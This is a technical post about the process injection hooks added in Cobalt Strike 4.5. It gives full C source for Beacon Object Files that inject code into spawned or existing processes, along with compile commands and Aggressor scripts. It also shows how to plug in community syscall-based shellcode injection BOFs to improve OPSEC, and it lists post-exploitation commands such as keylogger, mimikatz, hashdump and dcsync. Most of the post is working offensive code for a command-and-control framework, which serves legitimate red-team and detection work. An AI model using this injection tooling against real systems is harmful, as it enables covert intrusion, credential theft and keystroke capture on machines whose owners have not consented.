Process Injection Update in Cobalt Strike 4.5

 

Process injection is a core component to Cobalt Strike post exploitation. Until now, the option was to use a built-in injection technique using fork&run. This has been great for stability, but does come at the cost of OPSEC.

Cobalt Strike 4.5 now supports two new Aggressor Script hooks: PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT.  These hooks allow a user to define how the fork&run and explicit injection techniques are implemented when executing post-exploitation commands instead of using the built-in techniques. 

The implementation of these techniques is through a Beacon Object File (BOF) and an Aggressor Script function.  In the next sections a simple example will be provided followed by an example from the Community Kit for each hook. 

These two hooks will cover most of the post exploitation commands, which will be listed in each section.  However, here are some exceptions which will not use these hooks. 

Beacon Command Aggressor Script function 
 &bdllspawn  
execute-assembly &bexecute_assembly 
shell&bshell
Exceptions to the 4.5 process injection updates

Process Injection Spawn (Fork & Run)

The PROCESS_INJECT_SPAWN hook is used to define the fork&run process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The elevaterunasadmin, &belevate, &brunasadmin and [beacon] -> Access -> Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
  1. The “(use a hash)” note means select a credential that references a hash. 
Beacon Command Aggressor Script function UI Interface 
chromedump   
dcsync &bdcsync  
elevate &belevate [beacon] -> Access -> Elevate 
  [beacon] -> Access -> Golden Ticket 
hashdump &bhashdump [beacon] -> Access -> Dump Hashes 
keylogger &bkeylogger  
logonpasswords &blogonpasswords [beacon] -> Access -> Run Mimikatz 
  [beacon] -> Access -> Make Token (use a hash) 
mimikatz &bmimikatz   
 &bmimikatz_small  
net &bnet [beacon] -> Explore -> Net View 
portscan &bportscan [beacon] -> Explore -> Port Scan 
powerpick &bpowerpick   
printscreen &bprintscreen  
pth &bpassthehash   
runasadmin &brunasadmin  
  [target] -> Scan 
screenshot &bscreenshot [beacon] -> Explore -> Screenshot 
screenwatch &bscreenwatch  
ssh &bssh [target] -> Jump -> ssh 
ssh-key &bssh_key [target] -> Jump -> ssh-key 
  [target] -> Jump -> [exploit] (use a hash) 
Commands that support the PROCESS_INJECT_SPAWN hook in 4.5

Arguments 

The PROCESS_INJECT_SPAWN hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 true/false ignore process token 
  • $4 x86/x64 – memory injectable DLL architecture 

Returns 

The PROCESS_INJECT_SPAWN hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own fork&run injection technique. 

I Want to Use My Own spawn (fork & run) Injection Technique.

To implement your own fork&run injection technique you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_SPAWN hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_SPAWN hook to bypass the built-in default.  First, we will create a BOF with our fork&run implementation. 

File: inject_spawn.c

#include <windows.h>
#include "beacon.h"

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   STARTUPINFOA        si;
   PROCESS_INFORMATION pi;
   datap               parser;
   short               ignoreToken;
   char *              dllPtr;
   int                 dllLen;

   /* Warn about crossing to another architecture. */
   if (!is_x64() && x86 == FALSE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
   }
   if (is_x64() && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
   }

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   ignoreToken = BeaconDataShort(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* zero out these data structures */
   __stosb((void *)&si, 0, sizeof(STARTUPINFO));
   __stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));

   /* setup the other values in our startup info structure */
   si.dwFlags = STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.cb = sizeof(STARTUPINFO);

   /* Ready to go: spawn, inject and cleanup */
   if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
      return;
   }
   BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
   BeaconCleanupProcess(&pi);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}


Explanation

  • Line 14 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 53-59.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 15-20 define the variables that are referenced in the function. 
  • Lines 22-28 will check to see if runtime environment matches the x86 flag and print a warning message back to the beacon console and continue. 
  • Lines 30-33 will extract the two arguments ignoreToken and dll from the args parameter. 
  • Lines 35-42 initializes the STARTUPINFO and PARAMETER_INFO variables. 
  • Lines 44-50 implements the fork&run technique using Beacon’s internal APIs defined in beacon.h.  This is essentially the same built-in technique of spawning a temporary process, injecting the dll into the process and cleaning up. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_spawn.x64.o -c inject_spawn.c 

i686-w64-mingw32-gcc -o inject_spawn.x86.o -c inject_spawn.c 

Create Aggressor Script

File: inject_spawn.cna

# Hook to allow the user to define how the fork and run process injection
# technique is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_SPAWN {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_spawn. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "sb", $3, $2);

   btask($1, "Process Inject using fork and run.");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $4";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 8 defines the variables used in the function. 
  • Line 10-11 sets the architecture for the beacon’s session. 
  • Lines 14-17 reads the inject_spawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 19-20 packs the arguments that the BOF is expecting.  In this example we are passing $3 (ignore process token) as a short and $2 (dll) as binary data. 
  • Lines 22 reports the task to Beacon. 
  • Line 25 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the beacon’s architecture and dll’s architecture do not have to match.  For example, if your Beacon is running in an x86 context on an x64 OS then some post exploitation jobs such as mimikatz will use the x64 version of the mimikatz dll. 
  • Line 26 uses the beacon_inline_execute function to execute the BOF. 
  • Line 29 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the updated HOOK

Next, load the inject_spawn.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

PROCESS_INJECT_SPAWN

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_SPAWN hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the fork&run implementation use the example under the StaticSyscallsAPCSpawn folder. This uses the spawn with syscalls shellcode injection (NtMapViewOfSection -> NtQueueApcThread) technique.

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsAPCSpawn directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsapcspawn.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided.

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The argument that this BOF expects is the dll.  The ignoreToken is not used. 
  3. Calls a function named SpawnProcess, which will use the Beacon API function BeaconSpawnTemporaryProcess.  In this case the x86 parameter is hard coded to FALSE and the ignoreToken is hard coded to TRUE. 
  4. Calls a function named InjectShellcode, which implements their injection technique instead of using the function BeaconInjectTemporaryProcess. 
  5. Finally call the Beacon API function BeaconCleanupProcess. 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_SPAWN function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_SPAWN function which can be put into a new file or add it to the existing static_syscalls_apc_spawn.cna file. 

File: static_syscalls_apc_spawn.cna 

    # Hook to allow the user to define how the fork and run process injection 
    # technique is implemented when executing post exploitation commands. 
    # $1 = Beacon ID 
    # $2 = memory injectable dll (position-independent code) 
    # $3 = true/false ignore process token 
    # $4 = x86/x64 - memory injectable DLL arch 
    set PROCESS_INJECT_SPAWN { 
    
    local('$barch, $handle $data $args'); 
    
        # figure out the arch of this session 
        $barch  = barch($1); 
        
        if ($barch eq "x86") { 
            warn("Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500) does not support x86. Use built in default"); 
            return $null; 
        } 
        
        # read in the right BOF 
        warn("read the BOF: syscallsapcspawn. $+ $barch $+ .o"); 
        $handle = openf(script_resource("syscallsapcspawn. $+ $barch $+ .o")); 
        $data = readb($handle, -1); 
        closef($handle); 
        
        # pack our arguments needed for the BOF 
        $args = bof_pack($1, "b", $2); 
        
        btask($1, "Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500)"); 
        
        beacon_inline_execute($1, $data, "go", $args); 
        
        # Let the caller know the hook was implemented. 
        return 1; 
    } 

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 9 defines the variables used in the function. In this example we do not need the $entry variable as the entry point will just be “go” 
  • Line 12 will set the $barch to the beacon’s architecture. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-23 will read the syscallsapcspawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because Beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 25-26 packs the arguments that the BOF is expecting.  In this example we are passing $2 (dll) as a binary data.  Recall the ignore Token flag was hard coded to TRUE. 
  • Line 28 uses the beacon_inline_execute function to execute the BOF.  In this case just call “go” since the requirement of knowing if it is x86 or x64 is not needed as the x86 flag is hard coded to FALSE. 
  • Line 33 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

Explicit Process Injection (Put Down That Fork)

The PROCESS_INJECT_EXPLICIT hook is used to define the explicit process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List.  There is also a multi version of this interface which is accessed by selecting multiple beacon sessions and using the same UI menu.  When in the Process Browser use the buttons to perform additional commands on the selected process. 
  1. The chromedumpdcsynchashdumpkeyloggerlogonpasswordsmimikatznetportscanprintscreenpthscreenshotscreenwatchssh, and ssh-key commands also have a fork&run version.  To use the explicit version requires the pid and architecture arguments. 
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
Beacon Command Aggressor Script function  UI Interface 
browserpivot &bbrowserpivot [beacon] -> Explore -> Browser Pivot 
chromedump   
dcsync &bdcsync  
dllinject &bdllinject  
hashdump &bhashdump  
inject &binject [Process Browser] -> Inject 
keylogger &bkeylogger [Process Browser] -> Log Keystrokes 
logonpasswords &blogonpasswords  
mimikatz &bmimikatz  
 &bmimikatz_small  
net &bnet  
portscan &bportscan  
printscreen   
psinject &bpsinject  
pth &bpassthehash  
screenshot  [Process Browser] -> Screenshot (Yes) 
screenwatch  [Process Browser] -> Screenshot (No) 
shinject &bshinject  
ssh &bssh  
ssh-key &bssh_key  
Commands that support the PROCESS_INJECT_EXPLICIT hook in 4.5

Arguments 

The PROCESS_INJECT_EXPLICIT hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 = the PID to inject into 
  • $4 = offset to jump to 
  • $5 = x86/x64 – memory injectable DLL arch 

Returns 

The PROCESS_INJECT_EXPLICIT hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own explicit injection technique. 

I Want to Use My Own Explicit Injection Technique.

To implement your own explicit injection technique, you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_EXPLICIT hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_EXPLICIT hook to bypass the built-in default.  First, we will create a BOF with our explicit injection implementation. 

File: inject_explicit.c

#include <windows.h>
#include "beacon.h"

/* Windows API calls */
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$IsWow64Process (HANDLE hProcess, PBOOL Wow64Process);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$GetCurrentProcess (VOID);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
DECLSPEC_IMPORT WINBASEAPI DWORD   WINAPI KERNEL32$GetLastError (VOID);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* is this a 64-bit or 32-bit process? */
BOOL is_wow64(HANDLE process) {
   BOOL bIsWow64 = FALSE;

   if (!KERNEL32$IsWow64Process(process, &bIsWow64)) {
      return FALSE;
   }
   return bIsWow64;
}

/* check if a process is x64 or not */
BOOL is_x64_process(HANDLE process) {
   if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) {
      return !is_wow64(process);
   }

   return FALSE;
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   HANDLE              hProcess;
   datap               parser;
   int                 pid;
   int                 offset;
   char *              dllPtr;
   int                 dllLen;

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   pid = BeaconDataInt(&parser);
   offset = BeaconDataInt(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* Open a handle to the process, for injection. */
   hProcess = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
   if (hProcess == INVALID_HANDLE_VALUE || hProcess == 0) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to open process %d : %d", pid, KERNEL32$GetLastError());
      return;
   }

   /* Check that we can inject the content into the process. */
   if (!is_x64_process(hProcess) && x86 == FALSE ) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid);
      return;
   }
   if (is_x64_process(hProcess) && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid);
      return;
   }

   /* inject into the process */
   BeaconInjectProcess(hProcess, pid, dllPtr, dllLen, offset, NULL, 0);

   /* Clean up */
   KERNEL32$CloseHandle(hProcess);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}

Explanation

  • Lines 1-2 are the include files, where beacon.h can be downloaded from https://github.com/Cobalt-Strike/bof_template
  • Lines 4-9 define the prototypes for the Dynamic Function Resolution for a BOF. 
  • Lines 11-18 define a function to determine the compiled architecture type. 
  • Lines 20-37 define functions to determine the architecture of the process to inject into. 
  • Line 40 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 78-84.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 41-46 define the variables that are referenced in the function. 
  • Lines 48-52 will extract the three arguments pid, offset and dll from the args parameter. 
  • Lines 55-59 will open the process for the specified pid. 
  • Lines 61-69 will verify if the content can be injected into the process. 
  • Line 72 implements the explicit injection technique using Beacon’s internal APIs defined in beacon.h.  This is the same built-in technique for injecting into a process. 
  • Lines 75 will close the handle to the process. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_explicit.x64.o -c inject_explicit.c 

i686-w64-mingw32-gcc -o inject_explicit.x86.o -c inject_explicit.c 

Create Aggressor Script

Next, create the Aggressor Script PROCESS_INJECT_EXPLICIT hook function. 

File: inject_explicit.cna

# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_explicit. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "iib", $3, $4, $2);

   btask($1, "Process Inject using explicit injection into pid $3");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $5";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Lines 15-18 reads the inject_explicit.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
  • Line 21 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, $4 (offset) as an integer, and $2 (dll) as binary data. 
  • Lines 23 reports the task to Beacon. 
  • Line 26 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the Beacon’s architecture and dll’s architecture do not have to match. 
  • Line 27 uses the beacon_inline_execute function to execute the BOF. 
  • Line 30 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the inject_explicit.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

PROCESS_INJECT_EXPLICIT

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_EXPLICIT hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the explicit injection implementation we will select a different technique from this repository. Use the example under the StaticSyscallsInject folder. 

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsInject directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsinject.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The arguments that this BOF expects are the pid and dll.  The offset is not used. 
  3. Calls a function named InjectShellcode, which implements their injection technique instead. 
  4. Opens the Process 
  5. Allocates Memory and Copies it to the Process 
  6. Create the thread and wait for completion 
  7. Cleanup 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_EXPLICIT function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_EXPLICIT function which can be put into a new file or add it to the existing static_syscalls_inject.cna file. 

File: static_syscalls_inject.cna

# Hook to allow the user to define how the explicit injection technique 
# is implemented when executing post exploitation commands. 
# $1 = Beacon ID 
# $2 = memory injectable dll for the post exploitation command 
# $3 = the PID to inject into 
# $4 = offset to jump to 
# $5 = x86/x64 - memory injectable DLL arch 
set PROCESS_INJECT_EXPLICIT { 
local('$barch $handle $data $args'); 

# Set the architecture for the beacon's session 
$barch = barch($1); 

if ($barch eq "x86") { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support x86. Use built in default"); 
    return $null; 
} 

if ($4 > 0) { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support offset argument. Use built in default"); 
    return $null; 
} 

# read in the injection BOF based on barch 
warn("read the BOF: syscallsinject. $+ $barch $+ .o"); 
$handle = openf(script_resource("syscallsinject. $+ $barch $+ .o")); 
$data = readb($handle, -1); 
closef($handle); 

# pack our arguments needed for the BOF 
$args = bof_pack($1, "ib", $3, $2); 

btask($1, "Static Syscalls Shellcode Injection BOF (@ajpc500) into pid $3"); 

beacon_inline_execute($1, $data, "go", $args); 

# Let the caller know the hook was implemented. 
return 1; 
} 

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-22 is added in this example because this project is not supporting the offset to jump to argument.  When this is detected then return $null to use the built-in technique. 
  • Lines 25-28 reads the syscallsinject.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
  • Line 31 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, and $2 (dll) as binary data. 
  • Lines 33 reports the task to Beacon. 
  • Line 35 uses the beacon_inline_execute function to execute the BOF. 
  • Line 38 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Next, load the Aggressor Script file into the Cobalt Strike client through the Colbalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

References